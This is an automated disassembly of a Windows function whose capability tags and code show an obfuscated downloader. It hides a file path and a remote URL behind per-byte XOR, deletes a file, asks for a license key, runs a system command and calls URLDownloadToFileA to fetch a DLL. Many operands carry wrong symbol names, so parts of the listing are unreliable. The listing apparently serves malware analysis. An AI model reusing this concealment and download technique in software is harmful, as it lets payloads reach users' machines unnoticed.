Function at 0x140006afc
Capabilities:
Authenticate hmac
Delete file
Download url
Encode data using xor
Execute command
Parse pe header
Receive data
Resolve function by parsing pe exports
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1a0
mov rax, qword [0x140078180]
xor rax, rsp
mov qword [rsp + 0x198], rax
xor edx, edx
mov cl, 0x43
call fcn.140001974
mov r14b, al
mov byte [rsp + 0x63], al
mov byte [rsp + 0x30], al
lea edi, [rdx + 1]
mov edx, edi
mov cl, 0x3a
call fcn.140001974
mov byte [rsp + 0x64], al
mov byte [rsp + 0x31], al
lea edx, [rdi + 1]
mov cl, 0x5c
call fcn.140001974
mov byte [rsp + 0x65], al
mov byte [rsp + 0x32], al
lea edx, [rdi + 2]
mov cl, 0x57
call fcn.140001974
mov byte [rsp + 0x66], al
mov byte [rsp + 0x33], al
lea edx, [rdi + 3]
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0x67], al
mov byte [rsp + 0x34], al
lea edx, [rdi + 4]
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x68], al
mov byte [rsp + 0x35], al
lea edx, [rdi + 5]
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0x69], al
mov byte [rsp + 0x36], al
lea edx, [rdi + 6]
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x6a], al
mov byte [rsp + 0x37], al
lea edx, [rdi + 7]
mov cl, 0x77
call fcn.140001974
mov byte [rsp + 0x6b], al
mov byte [rsp + 0x38], al
lea r15d, [rdi + 8]
mov edx, r15d
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0x6c], al
mov byte [rsp + 0x39], al
lea edx, [rdi + 9]
mov cl, 0x5c
call fcn.140001974
mov byte [rsp + 0x6d], al
mov byte [rsp + 0x3a], al
lea edx, [rdi + 0xa]
mov cl, 0x46
call fcn.140001974
mov byte [rsp + 0x6e], al
mov byte [rsp + 0x3b], al
lea edx, [rdi + 0xb]
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x6f], al
mov byte [rsp + 0x3c], al
lea edx, [rdi + 0xc]
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x70], al
mov byte [rsp + 0x3d], al
lea edx, [rdi + 0xd]
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x71], al
mov byte [rsp + 0x3e], al
lea esi, [rdi + 0xe]
mov edx, esi
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0x72], al
mov byte [rsp + 0x3f], al
lea edx, [rdi + 0xf]
mov cl, 0x5c
call fcn.140001974
mov byte [rsp + 0x73], al
mov byte [rsp + 0x40], al
lea edx, [rdi + 0x10]
mov cl, 0x63
call fcn.140001974
mov byte [rsp + 0x74], al
mov byte [rsp + 0x41], al
lea edx, [rdi + 0x11]
mov cl, WSAStartup
call fcn.140001974
mov byte [rsp + 0x84], al
mov byte [rsp + 0x42], al
lea r12d, [rdi + 0x12]
mov edx, r12d
mov cl, 0x79
call fcn.140001974
mov byte [rsp + 0x75], al
mov byte [rsp + 0x43], al
lea edx, [rdi + 0x13]
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0x76], al
mov byte [rsp + 0x44], al
lea edx, [rdi + 0x14]
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x77], al
mov byte [rsp + 0x45], al
lea edx, [rdi + 0x15]
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x78], al
mov byte [rsp + 0x46], al
lea edx, [rdi + 0x16]
mov cl, 0x6c
call fcn.140001974
mov byte [rsp + 0x79], al
mov byte [rsp + 0x47], al
lea edx, [rdi + 0x17]
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x7a], al
mov byte [rsp + 0x48], al
lea edx, [rdi + 0x18]
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x85], al
mov byte [rsp + 0x49], al
lea edx, [rdi + 0x19]
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x7b], al
mov byte [rsp + 0x4a], al
lea edx, [rdi + 0x1a]
mov cl, 0x75
call fcn.140001974
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x4b], al
lea edx, [rdi + 0x1b]
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0x7d], al
mov byte [rsp + 0x4c], al
lea edx, [rdi + 0x1c]
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x7e], al
mov byte [rsp + 0x4d], al
lea edx, [rdi + 0x1d]
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x60], al
mov byte [rsp + 0x4e], al
lea edx, [rdi + 0x1e]
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x7f], al
mov byte [rsp + 0x4f], al
lea edx, [rdi + 0x1f]
mov cl, 0x6c
call fcn.140001974
mov byte [rsp + 0x80], al
mov byte [rsp + 0x50], al
lea edx, [rdi + 0x20]
call fcn.140001974
mov byte [rsp + 0x61], al
mov byte [rsp + 0x51], al
lea edx, [rdi + 0x21]
mov cl, 0x2e
call fcn.140001974
mov byte [rsp + 0x81], al
mov byte [rsp + 0x52], al
lea edx, [rdi + 0x22]
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0x82], al
mov byte [rsp + 0x53], al
lea edx, [rdi + 0x23]
mov cl, 0x6c
call fcn.140001974
mov byte [rsp + 0x83], al
mov byte [rsp + 0x54], al
lea edx, [rdi + 0x24]
call fcn.140001974
mov byte [rsp + 0x62], al
mov byte [rsp + 0x55], al
xor eax, eax
mov byte [rsp + 0x56], al
xor ebx, ebx
mov r8d, ebx
movsxd rdx, r8d
lea ecx, [r12 + r8]
xor byte [rsp + rdx + 0x30], cl
add r8d, edi
cmp r8d, 0x26
jb 0x140006e01
mov byte [rsp + 0x56], bl
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [rsp + 0x30], r14b
mov edx, edi
mov cl, WSAStartup
call fcn.140001974
mov r13b, al
mov byte [rsp + 0x31], al
mov edx, 2
mov cl, 0x79
call fcn.140001974
mov byte [rsp + 0x99], al
mov byte [rsp + 0x32], al
mov edx, 3
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0x9a], al
mov byte [rsp + 0x33], al
mov edx, 4
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x9b], al
mov byte [rsp + 0x34], al
mov edx, 5
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x9c], al
mov byte [rsp + 0x35], al
mov edx, 6
mov cl, 0x6c
call fcn.140001974
mov byte [rsp + 0x9d], al
mov byte [rsp + 0x36], al
mov edx, 7
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x9e], al
mov byte [rsp + 0x37], al
mov edx, 8
mov cl, 0x46
call fcn.140001974
mov byte [rsp + 0x9f], al
mov byte [rsp + 0x38], al
mov edx, r15d
mov cl, WSAStartup
call fcn.140001974
mov byte [rsp + 0xa0], al
mov byte [rsp + 0x39], al
mov edx, 0xa
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0xa1], al
mov byte [rsp + 0x3a], al
mov edx, ntohs
call fcn.140001974
mov byte [rsp + 0xa2], al
mov byte [rsp + 0x3b], al
mov edx, ntohs
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x3c], al
mov edx, ntohs
mov cl, 0x43
call fcn.140001974
mov byte [rsp + 0x3d], al
mov edx, select
mov cl, 0x68
call fcn.140001974
mov byte [rsp + 0x3e], al
mov edx, esi
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0x3f], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x40], al
mov edx, select
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov r15b, al
mov byte [rsp + 0x41], al
mov edx, reloc.WS2_32.dll_select
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x42], al
mov edx, r12d
mov cl, 0x56
call fcn.140001974
mov byte [rsp + 0x43], al
mov edx, socket
mov cl, 0x31
call fcn.140001974
mov byte [rsp + 0x44], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x45], al
mov edx, reloc.WS2_32.dll_shutdown
mov cl, 0x2f
call fcn.140001974
mov byte [rsp + 0x46], al
mov edx, reloc.WS2_32.dll_socket
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0xa3], al
mov byte [rsp + 0x47], al
mov edx, 0x18
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0x48], al
lea r14d, [rdx + 1]
mov edx, r14d
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0x49], al
lea edx, [r14 + 1]
mov cl, 0x63
call fcn.140001974
mov byte [rsp + 0x4a], al
lea edx, [r14 + 2]
mov cl, 0x2e
call fcn.140001974
mov byte [rsp + 0x4b], al
lea edx, [r14 + 3]
mov cl, 0x67
call fcn.140001974
mov byte [rsp + 0x4c], al
lea edx, [r14 + 4]
call fcn.140001974
mov r12b, al
mov byte [rsp + 0x4d], al
lea edx, [r14 + 5]
mov cl, 0x2f
call fcn.140001974
mov byte [rsp + 0x4e], al
lea edx, [r14 + 6]
mov cl, 0x63
call fcn.140001974
mov byte [rsp + 0xa4], al
mov byte [rsp + 0x4f], al
lea edx, [r14 + 7]
mov cl, WSAStartup
call fcn.140001974
mov byte [rsp + 0x50], al
lea edx, [r14 + 8]
mov cl, 0x79
call fcn.140001974
mov byte [rsp + 0x51], al
lea edx, [r14 + 9]
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0x52], al
lea edx, [r14 + 0xa]
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x53], al
lea edx, [r14 + 0xb]
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x62]
mov byte [rsp + 0x55], al
lea edx, [r14 + 0xd]
mov cl, 0x31
call fcn.140001974
mov byte [rsp + 0x56], al
lea edx, [r14 + 0xe]
mov cl, 0x33
call fcn.140001974
mov byte [rsp + 0x57], al
lea edx, [r14 + 0xf]
call fcn.140001974
mov byte [rsp + 0x58], al
lea edx, [r14 + 0x10]
mov cl, 0x37
call fcn.140001974
mov byte [rsp + 0x98], al
mov byte [rsp + 0x59], al
xor eax, eax
mov byte [rsp + 0x5a], al
mov r8d, ebx
movsxd rdx, r8d
lea ecx, [r8 + 0x13]
xor byte [rsp + rdx + 0x30], cl
add r8d, edi
cmp r8d, 0x2a
jb 0x140007101
mov byte [rsp + 0x5a], bl
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8, r14
lea rdx, str.clp8gwybz000rmx01if1hyhqn
lea rcx, [rsp + 0x30]
call fcn.140009740
nop
lea rcx, [rsp + 0x30]
call fcn.140033688
nop
mov rdx, qword [rsp + 0x48]
mov r14d, 0x1000
cmp rdx, rsi
jbe 0x140007196
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r14
jb 0x140007191
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007191
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140057a1c
xorps xmm0, xmm0
movups xmmword [rsp + 0x178], xmm0
movdqa xmm1, xmmword [0x140065490]
movdqu xmmword [rsp + 0x188], xmm1
mov byte [rsp + 0x178], bl
lea rcx, [rsp + 0x158]
call fcn.140004e04
nop
cmp qword [rsp + 0x168], rbx
jne 0x140007434
xor edx, edx
mov cl, 0x46
call fcn.140001974
mov byte [rsp + 0x30], al
mov edx, edi
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x31], al
mov edx, 2
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0x32], al
mov edx, 3
mov cl, 0x6c
call fcn.140001974
mov byte [rsp + 0x33], al
mov edx, 4
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0x34], al
mov edx, 5
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0x35], al
mov edx, 6
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x36], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x37], al
mov edx, 8
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x38], al
mov edx, 9
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x39], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x3a], al
mov edx, ntohs
mov cl, 0x62
call fcn.140001974
mov byte [rsp + 0x3b], al
mov edx, ntohs
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x3c], al
mov edx, ntohs
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x3d], al
mov edx, select
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0x3e], al
mov edx, esi
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x3f], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x40], al
mov byte [rsp + 0x41], r15b
mov edx, reloc.WS2_32.dll_select
mov cl, 0x68
call fcn.140001974
mov byte [rsp + 0x42], al
mov edx, reloc.WS2_32.dll_send
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0x43], al
mov edx, socket
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x44], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x53
call fcn.140001974
mov byte [rsp + 0x45], al
mov edx, reloc.WS2_32.dll_shutdown
mov cl, 0x49
call fcn.140001974
mov byte [rsp + 0x46], al
mov edx, reloc.WS2_32.dll_socket
mov cl, 0x44
call fcn.140001974
mov byte [rsp + 0x47], al
mov edx, 0x18
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x48], al
mov edx, 0x19
mov cl, 0x75
call fcn.140001974
mov byte [rsp + 0x49], al
mov edx, 0x1a
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0x4a], al
mov edx, 0x1b
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0x4b], al
mov edx, 0x1c
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0x4c], al
mov byte [rsp + 0x4d], r12b
mov edx, 0x1e
mov cl, 0x20
call fcn.140001974
mov byte [rsp + 0x4e], al
mov edx, 0x1f
mov cl, 0x77
call fcn.140001974
mov byte [rsp + 0x4f], al
mov edx, 0x20
mov cl, 0x6d
call fcn.140001974
mov byte [rsp + 0x50], al
mov edx, 0x21
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0x51], al
mov edx, 0x22
mov cl, 0x63
call fcn.140001974
mov byte [rsp + 0x52], al
mov edx, 0x23
mov cl, 0x2e
call fcn.140001974
mov byte [rsp + 0x53], al
xor eax, eax
mov byte [rsp + 0x54], al
mov edx, ebx
movsxd rcx, edx
lea eax, [rdx + 0x13]
xor byte [rsp + rcx + 0x30], al
add edx, edi
cmp edx, 0x24
jb 0x1400073fe
mov byte [rsp + 0x54], bl
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008fac
lea rdx, [0x14000911c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x140065370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Enter_your_license_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fac
lea rdx, [rsp + 0x178]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140009214
nop
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140028638
mov r12b, byte [rsp + 0x63]
mov byte [rsp + 0x30], r12b
mov al, byte [rsp + 0x64]
mov byte [rsp + 0x31], al
mov al, byte [rsp + 0x65]
mov byte [rsp + 0x32], al
mov al, byte [rsp + 0x66]
mov byte [rsp + 0x33], al
mov al, byte [rsp + 0x67]
mov byte [rsp + 0x34], al
mov al, byte [rsp + 0x68]
mov byte [rsp + 0x35], al
mov al, byte [rsp + 0x69]
mov byte [rsp + 0x36], al
mov al, byte [rsp + 0x6a]
mov byte [rsp + 0x37], al
mov al, byte [rsp + 0x6b]
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x6c]
mov byte [rsp + 0x39], al
mov al, byte [rsp + 0x6d]
mov byte [rsp + 0x3a], al
mov al, byte [rsp + 0x6e]
mov byte [rsp + 0x3b], al
mov al, byte [rsp + 0x6f]
mov byte [rsp + 0x3c], al
mov al, byte [rsp + 0x70]
mov byte [rsp + 0x3d], al
mov al, byte [rsp + 0x71]
mov byte [rsp + 0x3e], al
mov al, byte [rsp + 0x72]
mov byte [rsp + 0x3f], al
mov al, byte [rsp + 0x73]
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x74]
mov byte [rsp + 0x41], al
mov al, byte [rsp + 0x84]
mov byte [rsp + 0x42], al
mov al, byte [rsp + 0x75]
mov byte [rsp + 0x43], al
mov al, byte [rsp + 0x76]
mov byte [rsp + 0x44], al
mov al, byte [rsp + 0x77]
mov byte [rsp + 0x45], al
mov al, byte [rsp + 0x78]
mov byte [rsp + 0x46], al
mov al, byte [rsp + 0x79]
mov byte [rsp + 0x47], al
mov al, byte [rsp + 0x7a]
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x85]
mov byte [rsp + 0x49], al
mov al, byte [rsp + 0x7b]
mov byte [rsp + 0x4a], al
mov al, byte [rsp + 0x7c]
mov byte [rsp + 0x4b], al
mov al, byte [rsp + 0x7d]
mov byte [rsp + 0x4c], al
mov al, byte [rsp + 0x7e]
mov byte [rsp + 0x4d], al
mov al, byte [rsp + 0x60]
mov byte [rsp + 0x4e], al
mov al, byte [rsp + 0x7f]
mov byte [rsp + 0x4f], al
mov al, byte [rsp + 0x80]
mov byte [rsp + 0x50], al
mov al, byte [rsp + 0x61]
mov byte [rsp + 0x51], al
mov al, byte [rsp + 0x81]
mov byte [rsp + 0x52], al
mov al, byte [rsp + 0x82]
mov byte [rsp + 0x53], al
mov al, byte [rsp + 0x83]
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x62]
mov byte [rsp + 0x55], al
xor eax, eax
mov byte [rsp + 0x56], al
mov edx, ebx
movsxd rcx, edx
lea eax, [rdx + 0x13]
xor byte [rsp + rcx + 0x30], al
add edx, edi
cmp edx, 0x26
jb 0x1400075ca
mov byte [rsp + 0x56], bl
xor edx, edx
mov cl, 0x68
call fcn.140001974
mov byte [rsp + 0xb0], al
mov edx, edi
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0xb1], al
mov edx, 2
call fcn.140001974
mov byte [rsp + 0xb2], al
mov edx, 3
mov cl, 0x70
call fcn.140001974
mov byte [rsp + 0xb3], al
mov edx, 4
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov r15b, al
mov byte [rsp + 0xb4], al
mov edx, 5
mov cl, 0x3a
call fcn.140001974
mov byte [rsp + 0xb5], al
mov edx, 6
mov cl, 0x2f
call fcn.140001974
mov byte [rsp + 0xb6], al
mov edx, 7
call fcn.140001974
mov byte [rsp + 0xb7], al
mov edx, 8
mov cl, 0x63
call fcn.140001974
mov byte [rsp + 0xb8], al
mov edx, 9
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0x63], al
mov byte [rsp + 0xb9], al
mov edx, 0xa
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0xba], al
mov edx, ntohs
mov cl, 0x2e
call fcn.140001974
mov byte [rsp + 0xbb], al
mov edx, ntohs
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0xbc], al
mov edx, ntohs
mov cl, 0x69
call fcn.140001974
mov byte [rsp + 0xbd], al
mov edx, select
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0xbe], al
mov edx, esi
mov cl, 0x63
call fcn.140001974
mov byte [rsp + 0xbf], al
mov edx, reloc.WS2_32.dll_recv
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0xc0], al
mov edx, select
mov cl, WSAStartup
call fcn.140001974
mov byte [rsp + 0xc1], al
mov edx, reloc.WS2_32.dll_select
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0xc2], al
mov edx, reloc.WS2_32.dll_send
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0xc3], al
mov edx, socket
mov cl, 0x70
call fcn.140001974
mov byte [rsp + 0xc4], al
mov edx, reloc.WS2_32.dll_setsockopt
call fcn.140001974
mov byte [rsp + 0xc5], al
mov edx, reloc.WS2_32.dll_shutdown
mov cl, 0x2e
call fcn.140001974
mov byte [rsp + 0xc6], al
mov edx, reloc.WS2_32.dll_socket
mov cl, 0x63
call fcn.140001974
mov byte [rsp + 0xc7], al
mov edx, 0x18
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001974
mov byte [rsp + 0xc8], al
mov edx, 0x19
mov cl, 0x6d
call fcn.140001974
mov byte [rsp + 0xc9], al
mov edx, 0x1a
mov cl, 0x2f
call fcn.140001974
mov byte [rsp + 0xca], al
mov edx, 0x1b
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0xcb], al
mov edx, 0x1c
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0xcc], al
mov edx, 0x1d
call fcn.140001974
mov byte [rsp + 0xcd], al
mov edx, 0x1e
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0xce], al
mov al, byte [rsp + 0xa4]
mov byte [rsp + 0xcf], al
mov edx, 0x20
mov cl, 0x68
call fcn.140001974
mov byte [rsp + 0xd0], al
mov edx, 0x21
mov cl, 0x6d
call fcn.140001974
mov byte [rsp + 0xd1], al
mov edx, 0x22
mov cl, 0x65
call fcn.140001974
mov byte [rsp + 0xd2], al
mov edx, 0x23
mov cl, WSAGetLastError
call fcn.140001974
mov byte [rsp + 0xd3], al
mov edx, 0x24
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0xd4], al
mov edx, 0x25
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0xd5], al
mov edx, 0x26
mov cl, 0x2f
call fcn.140001974
mov byte [rsp + 0xd6], al
mov edx, 0x27
mov cl, 0x31
call fcn.140001974
mov byte [rsp + 0xd7], al
mov edx, 0x28
call fcn.140001974
mov byte [rsp + 0xd8], al
mov al, byte [rsp + 0x98]
mov byte [rsp + 0xd9], al
mov edx, 0x2a
call fcn.140001974
mov byte [rsp + 0xda], al
mov edx, 0x2b
mov cl, 0x36
call fcn.140001974
mov byte [rsp + 0xdb], al
mov edx, 0x2c
mov cl, 0x30
call fcn.140001974
mov byte [rsp + 0xdc], al
mov edx, 0x2d
mov cl, 0x33
call fcn.140001974
mov byte [rsp + 0xdd], al
mov edx, 0x2e
mov cl, 0x32
call fcn.140001974
mov byte [rsp + 0xde], al
mov edx, 0x2f
mov cl, 0x37
call fcn.140001974
mov byte [rsp + 0xdf], al
mov edx, 0x30
mov cl, 0x34
call fcn.140001974
mov byte [rsp + 0xe0], al
mov edx, 0x31
mov cl, 0x32
call fcn.140001974
mov byte [rsp + 0xe1], al
mov edx, 0x32
call fcn.140001974
mov byte [rsp + 0xe2], al
mov edx, 0x33
mov cl, dl
call fcn.140001974
mov byte [rsp + 0xe3], al
mov edx, 0x34
call fcn.140001974
mov byte [rsp + 0xe4], al
mov edx, 0x35
call fcn.140001974
mov byte [rsp + 0xe5], al
mov edx, 0x36
mov cl, 0x37
call fcn.140001974
mov byte [rsp + 0xe6], al
mov edx, 0x37
mov cl, 0x35
call fcn.140001974
mov byte [rsp + 0xe7], al
mov edx, 0x38
mov cl, 0x34
call fcn.140001974
mov byte [rsp + 0xe8], al
mov edx, 0x39
mov cl, 0x36
call fcn.140001974
mov byte [rsp + 0xe9], al
mov edx, 0x3a
mov cl, 0x2f
call fcn.140001974
mov byte [rsp + 0xea], al
mov edx, 0x3b
mov cl, 0x31
call fcn.140001974
mov byte [rsp + 0xeb], al
mov edx, 0x3c
call fcn.140001974
mov byte [rsp + 0xec], al
mov edx, 0x3d
mov cl, 0x37
call fcn.140001974
mov byte [rsp + 0xed], al
mov edx, 0x3e
mov cl, 0x36
call fcn.140001974
mov byte [rsp + 0xee], al
mov edx, 0x3f
mov cl, 0x35
call fcn.140001974
mov byte [rsp + 0xef], al
mov edx, 0x40
mov cl, 0x34
call fcn.140001974
mov byte [rsp + 0xf0], al
mov edx, 0x41
call fcn.140001974
mov byte [rsp + 0xf1], al
mov edx, 0x42
mov cl, 0x32
call fcn.140001974
mov byte [rsp + 0xf2], al
mov edx, 0x43
mov cl, 0x37
call fcn.140001974
mov byte [rsp + 0xf3], al
mov edx, 0x44
mov cl, 0x31
call fcn.140001974
mov byte [rsp + 0xf4], al
mov edx, 0x45
mov cl, 0x36
call fcn.140001974
mov byte [rsp + 0xf5], al
mov edx, 0x46
mov cl, 0x38
call fcn.140001974
mov byte [rsp + 0xf6], al
mov edx, 0x47
mov cl, 0x34
call fcn.140001974
mov byte [rsp + 0xf7], al
mov edx, 0x48
mov cl, 0x33
call fcn.140001974
mov byte [rsp + 0xf8], al
mov edx, 0x49
mov cl, 0x34
call fcn.140001974
mov byte [rsp + 0xf9], al
mov edx, 0x4a
mov cl, 0x31
call fcn.140001974
mov byte [rsp + 0xfa], al
mov edx, 0x4b
mov cl, 0x37
call fcn.140001974
mov byte [rsp + 0xfb], al
mov edx, 0x4c
mov cl, 0x39
call fcn.140001974
mov byte [rsp + 0xfc], al
mov edx, 0x4d
mov cl, 0x31
call fcn.140001974
mov byte [rsp + 0xfd], al
mov edx, 0x4e
mov cl, 0x2f
call fcn.140001974
mov byte [rsp + 0xfe], al
mov edx, 0x4f
mov cl, 0x43
call fcn.140001974
mov byte [rsp + 0xff], al
mov edx, 0x50
mov cl, WSAStartup
call fcn.140001974
mov byte [rsp + 0x100], al
mov edx, 0x51
mov cl, 0x79
call fcn.140001974
mov byte [rsp + 0x101], al
mov edx, 0x52
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001974
mov byte [rsp + 0x102], al
mov edx, 0x53
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001974
mov byte [rsp + 0x103], al
mov edx, 0x54
mov cl, 0x61
call fcn.140001974
mov byte [rsp + 0x104], al
mov edx, 0x55
mov cl, 0x6c
call fcn.140001974
mov byte [rsp + 0x105], al
mov edx, 0x56
mov cl, 0x46
call fcn.140001974
mov byte [rsp + 0x106], al
mov edx, 0x57
mov cl, 0x4e
call fcn.140001974
mov byte [rsp + 0x107], al
mov edx, 0x58
mov cl, 0x2e
call fcn.140001974
mov byte [rsp + 0x108], al
mov edx, 0x59
mov cl, 0x64
call fcn.140001974
mov byte [rsp + 0x109], al
mov edx, 0x5a
mov cl, 0x6c
call fcn.140001974
mov byte [rsp + 0x10a], al
mov edx, 0x5b
call fcn.140001974
mov byte [rsp + 0x10b], al
xor eax, eax
mov byte [rsp + 0x10c], al
mov edx, ebx
movsxd rcx, edx
lea eax, [rdx + 0x13]
xor byte [rsp + rcx + 0xb0], al
add edx, edi
cmp edx, 0x5c
jb 0x140007c9a
mov byte [rsp + 0x10c], bl
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0xb0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.140005358
lea rdx, [0x14000911c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x88], r12b
mov byte [rsp + 0x89], r13b
mov al, byte [rsp + 0x99]
mov byte [rsp + 0x8a], al
mov r8b, byte [rsp + 0x9a]
mov byte [rsp + 0x8b], r8b
mov al, byte [rsp + 0x9b]
mov byte [rsp + 0x8c], al
mov al, byte [rsp + 0x9c]
mov byte [rsp + 0x8d], al
mov al, byte [rsp + 0x9d]
mov byte [rsp + 0x8e], al
